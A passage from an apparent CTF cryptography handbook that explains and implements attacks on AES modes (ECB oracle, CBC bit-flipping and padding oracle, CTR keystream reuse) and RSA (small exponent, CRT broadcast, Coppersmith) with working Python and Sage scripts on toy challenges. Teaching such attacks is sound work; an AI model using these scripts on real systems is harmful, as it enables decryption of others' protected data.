print(plaintext)  # b'Hello, world! (ECB)'

# CBC Encrypt
plaintext = b"Hello, world! (CBC)"
KEY = os.urandom(16)  # 16 bytes
IV = os.urandom(16)  # 16 bytes
cipher = AES.new(KEY, AES.MODE_CBC, IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
# CBC Decrypt
cipher = AES.new(KEY, AES.MODE_CBC, IV)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(plaintext)  # b'Hello, world! (CBC)'
```

## ECB Mode

![Diagram explaining AES ECB mode from Wikipedia](/files/w0aXpboinuMf9FvklGLL)

With AES in ECB mode, all plaintext data is split into blocks of 16 bytes and then encrypted separately. This means that if two blocks of 16 bytes are the same anywhere in the plaintext, we would see two of the same ciphertext blocks as well. This is the main problem of ECB mode that allows for various attacks

### Decrypt suffix (data after plaintext)

Sometimes secret data is appended after the plaintext before encrypting. In an ideal world, you should not be able to extract this data from looking at the encrypted ciphertext without knowing the key. With AES ECB however, this is possible.

The only thing you need is a function that takes your plaintext, appends the secret data, encrypts it all, and gives you back the ciphertext.

```python
def oracle(plaintext):
    return encrypt(plaintext + "secret")
```

Without knowing the key we can do a trick where we slot the suffix into the last byte of our plaintext. Then after we can brute-force every character it could have been in that position, until we find that the specific encrypted block matches our initial slot.

```python
# Initial ("AAAABBBBCCCCDDD")
AAAABBBBCCCCDDDs ecret
# Brute-force ("AAAABBBBCCCCDDD?")
AAAABBBBCCCCDDDa secret
AAAABBBBCCCCDDDb secret
AAAABBBBCCCCDDDc secret
...
AAAABBBBCCCCDDDs secret  # Match
```

Then we know the first character is s, and we can repeat the same thing again by just making more space in our plaintext so the second character of the secret gets slotted into our block. Then during the brute-forcing, we already know the first character and we only need to brute-force the second character again.

```python
# Initial ("AAAABBBBCCCCDD")
AAAABBBBCCCCDDse cret
# Brute-force ("AAAABBBBCCCCDDs?")
AAAABBBBCCCCDDsa secret
AAAABBBBCCCCDDsb secret
AAAABBBBCCCCDDsc secret
...
AAAABBBBCCCCDDse secret  # Match
```

The last thing to note for the implementation is when you have leaked the first 16 bytes, and it looks like we don't have any more space to slot our suffix into. In this case, we can just start from the beginning again by inputting 15 characters, and then look at the **second** block. We know the whole plaintext up until that point already so this is essentially the same as before.

```python
# Initial ("AAAABBBBCCCCDDD")
AAAABBBBCCCCDDDa muchlongersecret thanbefore
# Brute-force ("AAAABBBBCCCCDDDamuchlongersecre?")
AAAABBBBCCCCDDDa muchlongersecrea amuchlongersecre tthanbefore
AAAABBBBCCCCDDDa muchlongersecreb amuchlongersecre tthanbefore
AAAABBBBCCCCDDDa muchlongersecrec amuchlongersecre tthanbefore
...
AAAABBBBCCCCDDDa muchlongersecret amuchlongersecre tthanbefore  # Match in 2nd block
```

We can keep going like this and eventually leak the whole secret string. You can find a general implementation of this attack in Python in my Cryptopals solutions:

{% embed url="<https://github.com/JorianWoltjer/Cryptopals/blob/master/set2/14.py>" %}
Solution to a Cryptopals challenge with a script that exploits this AES ECB oracle
{% endembed %}

## CBC Mode

![Diagram explaining AES CBC mode from Wikipedia](/files/I63165F9Ch4wI4diskjq)

With AES in CBC mode, all blocks depend on the previous block as seen in the diagram above. This means that the ECB attacks from earlier don't work here. But CBC still has some vulnerabilities when used in the wrong way. The main reason for this is the use of XOR from the previous block.

### Bit-flipping Attack

![Diagram explaining AES CBC mode decryption from Wikipedia](/files/Kx8NZJ2dJJdCpSzhGOxY)

As seen in the diagram above, the decrypted ciphertext after the AES algorithm also gets XORed with the previous block to get back the original plaintext. If we have control over the ciphertext, we can flip a few bits of it for the receiving system to later XOR the plaintext with. You can see an arrow going from the ciphertext of the previous block, going to the plaintext of the other block.

This is what the bit-flipping attack is. When we flip a bit in the previous ciphertext, in the next plaintext these bits will also be flipped. This way we could alter the plaintext to be anything we want and maybe inject data that should not be there.

One problem is that when we flip even a single bit of the ciphertext in one block, the whole block decrypts to garbage because AES is very sensitive to changes. This means that we *can* make a block of the plaintext into anything we want by flipping the bits in the previous block, but at a cost: The previous block will be random garbage. If the application does not have very strict verification on this it can still be a problem.

```python
# Encrypt without =
AAAABBBBCCCCDDDD adminztrue -> 8f450a920a32227a19b22039deabf7b9 0f31008a84d45451d3114e9f162bee63
# 6th character "z" needs to become "=". XORing with eachother becomes "G"
# Now the 6th position in the previous block needs to be XORed with "G"
Before: 8f450a920a32227a19b22039deabf7b9 0f31008a84d45451d3114e9f162bee63
After:  8f450a920a75227a19b22039deabf7b9 0f31008a84d45451d3114e9f162bee63
# Sending this to application will decrypt to:
[random garbage] admin=true
```

If the application for example just checks if a certain string is in the plaintext, without you being able to generate a ciphertext containing that string yourself, you can bypass it with this attack.

To see an example of this attack see my solution script to the Cryptopals challenge:

{% embed url="<https://github.com/JorianWoltjer/Cryptopals/blob/master/set2/16.py>" %}
An implementation of the AES CBC bit-flipping attack in Python
{% endembed %}

### Padding Oracle

I'll start off by saying that this attack really takes some time to understand, but after enough time it will all click. I found some good resources online that explain it well, and visually. Here is one of them:

{% embed url="<https://samsclass.info/141/proj/p14pad.htm>" %}
A site detailing the AES Padding Oracle attack with diagrams
{% endembed %}

To understand the Padding Oracle you first need to understand the [bit-flipping attack](#bit-flipping-attack) first (see above). This attack builds upon it to eventually be able to decrypt any ciphertext you get.

All plaintext that gets encrypted by AES needs to be in chunks of 16 bytes. This means that if your input is not exactly a multiple of 16 bytes, you need to add **padding** until it is the correct length. The default is PKCS#7 padding which simply fills the needed space with bytes representing the length of the padding. So if there are 3 bytes missing, they will be filled with three `\x03` bytes:

```python
# Plaintext:    |                |
AAAABBBBCCCCDDDD EEEEFFFFGGGGH
# Padded:     3 bytes missing ^^^
AAAABBBBCCCCDDDD EEEEFFFFGGGGH\x03\x03\x03
```

When data needs to be unpadded to get back the original data, the code can just look at the last byte of the plaintext, which has the value of how many bytes of padding there are. In this example, the code would see `\x03` and know the last 3 bytes are padding. The code could **validate** the padding by checking to see if all the bytes that should be padding have this `\x03` value. If any of the padding bytes do not have this same value, something must have gone wrong during the padding process at the start. An application can then choose to display some sort of error message saying the padding is invalid.

When an application says the padding is invalid, it gives away a tiny bit of information about the ciphertext we put in it. Now we know if the ciphertext has valid padding when decrypted.

But here we can abuse the bit-flipping attack to get more information. If you remember we can flip any bits in a block of the plaintext by flipping those bits in the previous block of the ciphertext. This means that we can also flip some padding bits to make them correct or incorrect.

Let's say the unknown plaintext does have valid padding, which is often the case. Then you might think that changing the last byte of the padding would only be able to make it invalid. But if we think about how this padding works, a simple `\x01` would also pass as valid padding. This is because the validation just looks at the last byte, and checks if that number of bytes is the same padding. In the case of 1, it would always be valid because it's the only byte of padding needed. So the application would return valid padding if we change the `\x03` at the end to a `\x01`.

```
Original:   AAAABBBBCCCCDDDD EEEEFFFFGGGGH\x03\x03\x03
Also valid: AAAABBBBCCCCDDDD EEEEFFFFGGGGH\x03\x03\x01
```

If we just brute-force all 256 possible bytes in the last spot of the plaintext, there will be 2 situations where it has valid padding: When it is the same as the original ciphertext, meaning it's 3, but also when it becomes 1. In a real attack, we wouldn't know the padding was `\x03` bytes, but when we know what two values cause the padding to be valid, we can get the difference between these two brute-forced bytes. This difference will be the same as the difference between their values, `\x03` and `\x01`, but we know the `\x01` would give valid padding beforehand so we can just remove that from the difference and we are left with `\x03`! This way we can learn the last padding byte is `\x03`. To really understand why this happens, look at the decryption diagram above and think about how XOR works there.

Now to get more bytes we can repeat this idea. To get the 2nd-to-last byte of the plaintext we can again think about when the padding would be valid for this byte: In the original ciphertext, but also when its value is `\x02` and the last byte is also `\x02`. This would make the padding 2 long and both bytes would be `\x02`, so it would be valid. But in the original plaintext, this last byte was `\x03`, as we just learned, so we would need to change this byte somehow.

Luckily we already have the necessary information to do this. We can also bit-flip the last byte to become `\x02` instead of `\x03`, just like in a normal bit-flipping attack. Then we brute-force the second byte until becomes `\x02` in the plaintext and gives a "valid padding" response. This will again be our signal that we're done and then we can again get the difference between the original ciphertext, and this new ciphertext. This difference is the same difference between the `\x03` and `\x02` in the plaintext, so we can again just remove the known `\x02` it should be from the difference to get another `\x03`, but this time in the 2nd-to-last byte.

This same idea will keep working even for non-padding bytes, meaning we can leak the real plaintext byte-by-byte and eventually have decrypted the whole thing.

You can find an implementation of this attack on my Cryptopals solutions:

{% embed url="<https://github.com/JorianWoltjer/Cryptopals/blob/master/set3/17.py>" %}
Solution to a Cryptopals challenge with a script that exploits this AES CBC padding oracle
{% endembed %}

## CTR Mode

This mode can turn AES which normally is a block cipher of 16 bytes at a time, into a stream cipher, meaning it can simply generate any amount of random bytes from a key as the seed. This keystream it generates can then be used to XOR with the actual plaintext to encrypt it. Decrypting goes exactly the same: generate the keystream, XOR it with the ciphertext and you get back the plaintext as XOR is symmetric in this way.

It generates the keystream by **encrypting a CounTeR (CTR) with the key**. This counter can simply start at 1, and goes up for every block. This way, you're encrypting some value to generate random-looking output for the keystream.

```python
cipher = AES.new(key, AES.MODE_ECB)  # Uses AES-ECB with key
keystream_first  = cipher.encrypt(b'\x00'*15 + '\x01')  # Keystream is generated by encrypting big endian integer
keystream_second = cipher.encrypt(b'\x00'*15 + '\x02')
keystream = b"".join(cipher.encrypt((i).to_bytes(16, 'big')) for i in range(1, 10))  # Generate infinitely
ciphertext = xor(plaintext, keystream)  # XOR is used to encrypt/decrypt
```

### Known Plaintext Attack

Working with XOR you should always think about the possibility of XORing the plaintext and ciphertext together to get the key. If this is possible, you might be able to decrypt other things if the key is repeated. With AES-CTR, this is exactly the case. If your keystream is using a fixed key, and the counter is started at 1 every time, the keystream will always be the same.

If you can then obtain a plaintext-ciphertext combination, you can XOR them to get back the keystream used in the middle of encryption. Then use this keystream to decrypt any other data like AES would.

```python
from Crypto.Util.Padding import pad
from Crypto.Util import Counter
from Crypto.Cipher import AES
from pwn import xor
import os

KEY = os.urandom(16)

def encrypt_CTR(plaintext):
    counter = Counter.new(128)  # Always the same initially
    cipher = AES.new(KEY, AES.MODE_CTR, counter=counter)
    ct = cipher.encrypt(pad(plaintext, 16))
    return ct

flag = b"CTF{f4k3_fl4g_f0r_t3st1ng}"  # Secret
flag_ct = encrypt_CTR(flag)  # Public
print(f"{flag_ct=}")  # b'\xc2\xd6a\xbc\xf1\x18\x13g\xba\xa3.\x03\xe0L\x8a\xb1[\xc59&\xb0#!\xac\xc5\xb6\x8b\x8f\xc1\x81\xfc\x83'

# Attack

known = b"A"*32
known_ct = encrypt_CTR(known)
print(f"{known_ct=}")  # b'\xc0\xc3f\x86\xd6m9\x15\xa4\x84\x03v\xc6R\xad\xc0h\xdb\x0cT\x82\x16Q\x83\xe3\x8a\xcc\xc8\x86\xc6\xbb\xc4\xe5\xc2"<\x9ae\xcd\x89\xc3\xcf\xcc\x12\xee{gT'

keystream = xor(known_ct, known)
print(f"{keystream=}")  # b"\x81\x82'\xc7\x97,xT\xe5\xc5B7\x87\x13\xec\x81)\x9aM\x15\xc3W\x10\xc2\xa2\xcb\x8d\x89\xc7\x87\xfa\x85\xa4\x83c}\xdb$\x8c\xc8\x82\x8e\x8dS\xaf:&\x15"

plaintext = xor(keystream, flag_ct)
print(f"{plaintext=}")  # b'CTF{f4k3_fl4g_f0r_t3st1ng}\x06\x06\x06\x06\x06\x06fU\x02\xc1*<\x9f\xaf8-\xa3POv\xac\xa4'
```

For more technical details, see the [pycryptodome docs](https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ctr-mode), or the [cryptopals challenge](https://cryptopals.com/sets/3/challenges/18).

### Repeated Key Attack

If you have **multiple ciphertexts** encrypted with the same keystream, and you can score a plaintext ton how plausible it is, you can use a statistical approach to try bytes of the keystream until all ciphertext decrypts to something that looks English for example.

This is essentially the same attack as Repeating-key XOR because if the CTR keystream that is generated is the same for all the plaintext, you have a bunch of plaintext with a repeated key. XOR also works on a byte-by-byte basis, so you can try all 256 possible keystream bytes, XOR them with all the ciphertext's first bytes, and see if they look plausible as plaintext. You could check for example if all the characters are in the alphabet, including a few special characters like `" ,.!?"`.

Then just repeat this for all the bytes you want. You can find an implementation of this attack on my Cryptopals solutions:

{% embed url="<https://github.com/JorianWoltjer/Cryptopals/blob/master/set3/19.py>" %}
Solution to a Cryptopals challenge with a script that exploits this AES CTR statistical attack
{% endembed %}

## CFB Mode

Another mode to turn a block cipher into a stream cipher is the **Cipher FeedBack (CFB)** mode. One of its useful properties is its ability to "self-heal" in case of a missing piece of ciphertext, which is useful for lossy protocols that might drop packets. While this algorithm still uses a standard block size like 16 for encryption with the key, it generates blocks of a variable size $$s$$ which is useful for streaming.\
The following diagram shows decryption with the same size $$s$$ as its standard block size, no overflow:

<figure><img src="/files/E9cENzIgO5DmKKQ8EAHh" alt=""><figcaption><p>Full-block CFB decryption <a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_(CFB)">from Wikipedia</a></p></figcaption></figure>

Commonly this size is *smaller* than the block size, resulting in each encryption with the key not being fully used. The XOR is only done as long as the plaintext or ciphertext is. Then for the next block, the diagram shows the ciphertext is used as the input for the encryption with the key, but this is not the whole story. Because this ciphertext is not long enough, it just pushes the previous input to the left as far as it needs to. Take the following example:

```python
IV = "ABCD"              # block size of 4 bytes
Ciphertext = "abcdefgh"  # s of 2 bytes (16 bits)
------------------------------
i = ENC(IV) = "!@#$"          # after AES encryption with Key
Plaintext = i  ^ CT = "1234"  # 1st chunk of output

NEW_IV = IV << 2 + CT = "CDab"  # shift IV by adding CT
i = ENC(IV) = "%^&*"            # new and different intermediate
Plaintext = i  ^ CT = "5678"    # 2nd chunk of output
```

### Predictable Output

One interesting thing about this algorithm is the fact that you can create repeating patterns in the output of a decryption. This is because when we provide an *Initialization Vector* and a *Ciphertext*, both are used directly in the AES encryption. If we make these bytes all the same, no matter how much it shifts, the input will always be the same. With the same key, it means the intermediate value will also stay the same and be XORed with the same ciphertext each time.

In the end, this means our plaintext will repeat every $$s$$ bits and if the goal is to generate some predictable output, we just have to guess $$s$$ bits correctly once and repeat it for the whole length. It can also be useful in getting lucky to output a set of characters that fit some condition, like being ASCII. With this trick, there is a pretty good chance all characters are ASCII because just the first $$s$$ need to.

{% code title="Example" %}

```python
from Crypto.Cipher import AES
import os

KEY = os.urandom(16)

iv = b"A"*16
ct = b"A"*32

cipher = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=16)
pt = cipher.decrypt(ct)

# will repeat every 16 bits (2 bytes)
print(pt)  # b"AbAbAbAbAbAbAbAbAbAbAbAbAbAbAbAb"
```

{% endcode %}

## GCM Mode

{% embed url="<https://frereit.de/aes_gcm/>" %}
Article explaining the details behind AES GCM Mode and how **nonce-reuse** breaks it
{% endembed %}


# Asymmetric Encryption

Using Public and Private keys to securely transmit data in a way that only the recipients can decrypt it


# RSA

An encryption standard using prime number factorization to encrypt and decrypt with an asymmetric keypair

## Description

{% embed url="<https://www.di-mgt.com.au/rsa_alg.html#rsasummary>" %}
A big description of the whole RSA algorithm, and equations
{% endembed %}

### Symbols

* `n`: Modulus, part of public key
* `p` and `q`: The prime factors of `n`
* `e`: Exponent, part of public key
* `c`: Ciphertext, result after encrypting
* `d`: Decryption exponent, part of the private key
* `m`: Message, plaintext
* $$ϕ$$ or `phi`: Decryption modulus

### Equations

* $$n=pq$$, where $$p$$ and $$q$$ are distinct primes.
* $$ϕ=(p−1)(q−1)$$
* $$e\<n$$ such that $$gcd(e,ϕ)=1$$
* $$d=e^{-1} \bmod ϕ$$
  * $$e\*d=1 \bmod ϕ$$​
  * $$d\_p=d \bmod p-1$$​
    * $$e\*d\_p=1 \bmod p-1$$
  * $$d\_q=d \bmod q-1$$​
    * $$e\*d\_q=1 \bmod q-1$$​
* $$c=m^e \bmod n$$, where $$1\<m\<n$$
* $$m=c^d \bmod n$$

### Python

```python
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime

# Create key
e = 0x10001  # 65537
p = getPrime(2048)  # Private
q = getPrime(2048)  # Private
n = p*q  # Public

# Encrypt
m = bytes_to_long(b"Hello, world!")  # String to number
c = pow(m, e, n)  # base, exponent, mod

# Decrypt
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))  # b"Hello, world!"
```

{% hint style="info" %}
RSA is a mathematical cryptosystem that doesn't support strings straight away. That's why we use the `long_to_bytes()` functions here to convert the strings to [Encodings](/cryptography/encodings#big-integers) first for the calculations, and then back to a string to display the text
{% endhint %}

## [RsaCtfTool](https://github.com/RsaCtfTool/RsaCtfTool)

RsaCtfTool has a lot of attacks built-in for common challenges. See [test\_attacks.py](https://github.com/RsaCtfTool/RsaCtfTool/blob/7c98848f1945de3e67a420871e8672f5ad9aa5d5/tests/test_attacks.py) and the `test()` functions in the [examples](https://github.com/RsaCtfTool/RsaCtfTool/tree/7c98848f1945de3e67a420871e8672f5ad9aa5d5/examples) on their GitHub for lots of examples of what inputs an attack needs.

### Common options

* `--private`: Display private key if recovered, should always be included
* `--attack`: Specify the attack modes (default: all)
* `-n N`: Specify the modulus (format: int or 0xhex)
* `-e E`: Specify the public exponent, using commas to separate multiple exponents (format: int or 0xhex)
* `--uncipher UNCIPHER`: Uncipher a ciphertext, using commas to separate multiple ciphers
* `--publickey PUBLICKEY`: public key file. You can use comma-separated or wildcards (`*` or `?`) for multiple keys.

## Attacks

A collection of how to exploit attacks on specific RSA cases.

### Private key from Public key

This automatically tries many common vulnerabilities in private key generation to guess it:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>rsactftool --publickey key.pub --private
</strong><strong>rsactftool -n 22281454606178185475137713421838422701543711268688600199661211611180627857676287178299712404685904372784253912486518309166107347902668817333387309917713878185701525779283063877318406271407207356695157218976821377797726991423192800200038862274192839464396744870595855658571673885678865944463809042500492800193755481497663544377666279577049151233765472181498228853733312890990468820942647689943230580776756954044828448094549187428360616039917736728741158185566675010288835722749075283482869482557110351806822719324373000017117153101570619871972625144670079798850809870562279085243502354929201076164300122928273223973813 -e 65535 --private
</strong></code></pre>

### Factoring manually

The whole security of RSA comes from the difficulty of finding the private factors `p` and `q` that multiply to the public `n`. With huge numbers generated completely randomly, this task is impossible for today's computers. But for smaller numbers or numbers with specific patterns this task may become doable. The method above tries many patterns of primes, but if the **primes are small** we can try to factor them ourselves.

First, a good idea is to check if this hasn't been done already. [FactorDB](http://factordb.com/) has a giant database of already factored numbers, some of which are surprisingly big. It does not contain every computable number though, so sometimes you'll want to do it manually.\
One tool that does this very quickly and efficiently is `yafu` ([install](https://github.com/sherlly/blog/blob/master/Install%20yafu%20under%20linux%20environment.md)):

{% embed url="<https://github.com/bbuhrow/yafu>" %}
Efficiently compute prime factors of a number on your own machine
{% endembed %}

{% code title="Example" %}

```python
from Crypto.Util.number import getPrime
p, q = getPrime(100), getPrime(100)
print(p, q)  # 1098198514732662644984272774739, 1211043850430579966229909607507
n = p*q
print(n)  # 1329966557818987769720263660823856372773218914702069314365673
```

{% endcode %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ yafu 'factor(1329966557818987769720263660823856372773218914702069314365673)'
</strong>...
SIQS elapsed time = 2.0392 seconds.
Total factoring time = 3.1806 seconds

***factors found***

<strong>P31 = 1211043850430579966229909607507
</strong><strong>P31 = 1098198514732662644984272774739
</strong></code></pre>

### Small exponent, short plaintext (root)

With a small exponent, the plaintext (`m`) will not be very large after exponentiation. Then after the modulus `n` is applied only a few iterations of `k` will be done, or even none if $$m^e\<n$$. This means that we can just iterate over `k` until we find a perfect integer root.

A good indicator of this is when `c` is significantly smaller than `n`. Here's an example where `e=3`, resulting in the equation we can brute-force:

$$
\begin{align\*}
c &= m^3 \bmod n \\
m^3 &= c + n \times k \\
m &= \sqrt\[3]{c + n \times k}
\end{align\*}
$$

```python
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes, bytes_to_long
import itertools
from tqdm import tqdm  # Progress bar

c = 151814383524468468373167432525334908713043999048030189233295991599282067478160817156274898218736730237867345576036666946129871354139493863328262790965298305504411851013141605494128623445958233929914932221347146103674366602777710563310909991256780496783556246514908319445504257550991303655041040831073499873433
n = 171354491787393121852494841274865993221545603054645652028289158190712035844082220019865456896490374268177490904077197891514585821726394567609038398139385702804697464419303857917065676758998677864936457552536228524298639887223362539820442671452257441601021229295609980653229431658071360735615596125759082670707
e = 3

for k in tqdm(itertools.count()):
    c_before_mod = c + n*k

    if iroot(c_before_mod, e)[1]:  # If perfect root
        break

plaintext = long_to_bytes(iroot(c_before_mod, e)[0])
print(plaintext)
```

### Chinese Remainder Theorem (CRT)

The attack using the [Chinese Remainder Theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem) is a more powerful version of the $$m^e\<n$$ idea from above. Instead, it works when $$m\<n$$, and you have $$e$$ amount of different $$c$$'s and $$n$$'s with the same plaintext. So often when the **message isn't too long** (no padding) and you have **multiple ciphertexts and public keys**, you can use this attack.

Let's say that in RSA you use $$e=3$$ (can be any exponent just requires more samples). Then you would need **3** ciphertext and public key examples. The equations for this would look like this:

$$
\left{ \begin{array}{ll} c\_1 = & m^3\mod n\_1 \ c\_2 = & m^3\mod n\_2 \ c\_3 = & m^3\mod n\_3 \ \end{array} \right.
$$

Then we can use the idea of CRT which says using:

$$
\left{ \begin{array}{ll} c\_1 = & x\mod n\_1 \ c\_2 = & x\mod n\_2 \ c\_3 = & x\mod n\_3 \ \end{array} \right.
$$

where you know $$c\_1, c\_2, c\_3$$ and $$n\_1, n\_2, n\_3$$, you can find $$x$$ efficiently. In the case of RSA, this would be $$m^3$$, and then we can simply get the cube root to find $$m$$ and we have cracked the message. ([source](https://crypto.stackexchange.com/a/55944))

{% hint style="info" %}
**Note**: The CRT actually gives:

$$x = m^3\mod n\_1\times n\_2\times n\_3$$\
This is why $$m$$ has to be less than $$n$$, otherwise this modulus will have wrapped around and you would have to guess how many times this has been done. If it's barely too large you might be able to brute-force this $$k$$ value, but otherwise, it will take too much computation
{% endhint %}

An example implementation for this attack would be:

```python
from Crypto.Util.number import bytes_to_long, getPrime
from functools import reduce
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm

FLAG = b"CTF{f4k3_fl4g_f0r_t3st1ng}"
E = 257

def get_encrypted():
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    
    m = bytes_to_long(FLAG)
    c = pow(m, E, n)

    return c, n, E

# Attack

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod

def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

cs = []
ns = []
for i in tqdm(range(E), desc="Generating"):
    c, n, e = get_encrypted()
    
    cs.append(c)
    ns.append(n)

x = chinese_remainder(ns, cs)
m = iroot(x, E)
print(m)
print(long_to_bytes(m[0]))
```

Here `get_encrypted()` is a simple RSA implementation with a high enough `e=257` that a simple root of the ciphertext won't work. But using the CRT you can get 257 different samples and compute `x`, to finally get `m`.

This script runs for about 40 seconds, but for `e=65537` and 1024-bit primes, it would take about 10 hours. The biggest bottleneck here is generating the primes by the "server", as this can take around a second for 1024-bit primes. When we need 65537 samples this really adds up, but in a real-world scenario, 10 hours is very doable.

### Coppersmith's Attack

The small exponent attack explained in the earlier [root](#small-exponent-short-plaintext) section **only works when the plaintext is short**. That is why there is another attack that requires any of the following information:

* A part of the plaintext ([#stereotyped-messages](#stereotyped-messages "mention"))
* High bits of either `p` and `q` primes ([writeup](https://amritabi0s.wordpress.com/2019/03/18/confidence-teaser-ctf-crypto-writeups/))

The technique involves quite a bit of math, being a result of Lattice Reduction (LLL). A great page with some details and resources about the specifics of the Coppersmith's attack is [this GitHub repository by ashutosh1206](https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Coppersmith).

#### Stereotyped Messages

For this type of attack, we need to know a **part of the start** of the plaintext. An example of such a challenge would be the following (also see [this writeup](https://ctftime.org/writeup/10431)):

{% code title="Challenge" %}

```python
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime

# Plaintext
flag = b"CTF{f4k3_fl4g_f0r_t3st1ng}"  # [REDACTED]
assert len(flag) == 26
m = bytes_to_long(b"This text is known. We'll use it to perform the Coppersmith's attack. Here's the secret flag: " + flag)

# Generate key
e = 3  # Small e
p = getPrime(512)  # Secure random primes
q = getPrime(512)
n = p*q
print(f"{n=}")  # n=100327967615765455066432131459361990250708753607333235195396044112959692871544110349814828608845716258088261033059120367626020028506475238904444366037162531628517305056808743166564074785466919977046747694732610541698197389485408333767339588904126857437470803627457816584759208958972799096606448918221245435269

c = pow(m, e, n)  # Encrypt
print(f"{c=}")  # c=41779631873918536705147834958361623514512917846121113398008031115793138940292445032649979745012468108251030582291719772740281680895336323197312942057440995386864999859489683117696716440779630814117695405320029822373894489891535401454333570161682797618800372458217584598699177209637329147391505835747079254848
```

{% endcode %}

To verify we can use this attack to efficiently recover the plaintext we need to make sure that: $$n^{1/e} > \mathit{difference}$$. Where this difference is between the plaintext and your guess of the plaintext. If you know a significant part of the start of a plaintext this difference will be small enough to satisfy the condition. It also means that the smaller `e` is, the larger the upper bound for the difference, and the less plaintext we need to know. We can do a sanity check in Python like this:

{% code title="Sanity check" %}

```python
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes, bytes_to_long

n = 100327967615765455066432131459361990250708753607333235195396044112959692871544110349814828608845716258088261033059120367626020028506475238904444366037162531628517305056808743166564074785466919977046747694732610541698197389485408333767339588904126857437470803627457816584759208958972799096606448918221245435269
plaintext = bytes_to_long(b"This text is known. We'll use it to perform the Coppersmith's attack. Here's the secret flag: " + b"CTF{f4k3_fl4g_f0r_t3st1ng}")
guess     = bytes_to_long(b"This text is known. We'll use it to perform the Coppersmith's attack. Here's the secret flag: " + b"CTF{XXXXXXXXXXXXXXXXXXXXX}")

upper_bound = int(iroot(n, 3)[0])  # n^(1/e)
assert upper_bound > abs(plaintext-guess)  # True: Attack can be used (4646657599085420719632980191748083535931530837393872023845638304709112678027902981558510765889796299593 > 5185515455561693213705816661216384501404499996708608)
```

{% endcode %}

In this example, the XXX is small enough that we can use this attack to efficiently recover the plaintext. We can use [SageMath](https://www.sagemath.org/) to do some mathematical magic and compute possible differences, which is Coppersmith's attack. We can even try multiple lengths of the unknown text because this attack only takes a few seconds:

{% code title="Attack" %}

```python
from Crypto.Util.number import long_to_bytes, bytes_to_long
from tqdm import tqdm

n = 100327967615765455066432131459361990250708753607333235195396044112959692871544110349814828608845716258088261033059120367626020028506475238904444366037162531628517305056808743166564074785466919977046747694732610541698197389485408333767339588904126857437470803627457816584759208958972799096606448918221245435269
c = 41779631873918536705147834958361623514512917846121113398008031115793138940292445032649979745012468108251030582291719772740281680895336323197312942057440995386864999859489683117696716440779630814117695405320029822373894489891535401454333570161682797618800372458217584598699177209637329147391505835747079254848
e = 3

for flag_length in tqdm(range(25, 30), desc="Length"):  # Try different lengths
    unknown = b"\x00"*flag_length  # Unknowns replaced with \x00
    m_guess = bytes_to_long(b"This text is known. We'll use it to perform the Coppersmith's attack. Here's the secret flag: " + unknown)

    # Coppersmith's attack
    P.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    pol = (m_guess + x)^e - c
    roots = pol.small_roots(epsilon=1/30)
    
    for root in roots:  # Find possible differences
        tqdm.write(f"{flag_length}: {long_to_bytes(int(m_guess+root))} ({root})")

# 26: b"This text is known. We'll use it to perform the Coppersmith's attack. Here's the secret flag: CTF{f4k3_fl4g_f0r_t3st1ng}" (108193853725429410694302373498305388100215459547699917544646525)
```

{% endcode %}

### Euclidean Algorithm

The [Euclidean Algorithm](https://en.wikipedia.org/wiki/Euclidean_algorithm) is originally an algorithm for efficiently computing the Greatest Common Divisor (GCD) for two numbers. If this answer is `1`, it means the numbers don't share any factors, which may be important in some cryptosystems.

There is also the Extended Euclidean Algorithm that can do a lot more. It can find two new numbers, that when multiplied with their respective numbers and added, equal the greatest common divisor. This is especially useful when the numbers are coprime, meaning the GCD is equal to 1. Then you can rearrange the equation to have something useful in modular arithmetic. In the example below, $$a$$ and $$b$$ would be the inputs, and the Extended Euclidean Algorithm finds $$s$$ and $$t$$:

$$
\begin{align\*}
as + bt & = \gcd(a, b)\\
as + bt & = 1\\
as & = 1 - bt\\
as & = 1 \mod{b}\\
\end{align\*}
$$

This last line is how we get the multiplicative inverse in RSA, used to generate the value of `d`. ​But in custom schemes similar to RSA, this may be exploitable. When working with $$\bmod\text{ }b$$ it may be possible to reduce some arguments to 1 like above.

#### Reverse of Modulo Multiplication

Here is an example of using this knowledge to break a flawed cryptosystem. Let's say it uses two random numbers that multiply together, and after the modulus is applied, you get the answer. In this example you have only one of the factors, the modulus, and the result, you want to calculate the other factor that was used.

```python
(x * a) % b = c
# We have: x, b, c
# Want to know: a
```

In normal arithmetic without a modulus, this would be easy. Just divide the answer by the factor you know, to get the other one. When in modular arithmetic, this is a bit harder. The answer might have wrapped around to another iteration of the modulus. With big numbers, just brute-forcing this takes way too long. That is where the Extended Euclidean Algorithm comes in. As explained in [this math exchange answer](https://math.stackexchange.com/a/684564), it tells us we can get a number $$s$$ that when multiplied with $$a$$, becomes $$1 \bmod b$$. So in our original equation, we can just multiply by this $$s$$ to get a nice equation for calculating $$x$$ with only variables we know:

$$
\begin{align\*}
x \* a &= c \mod{b}\\
x \* a \* s &= c \* s \mod{b}\\
x \* 1 &= c \* s \mod{b}\\
x &= c \* s \mod{b}\\
\end{align\*}
$$

​So this finally means we have an efficient way of calculating the other factor we wanted. In code, it would look something like this:

```python
from egcd import egcd

# (x * a) % b = c
#  ^

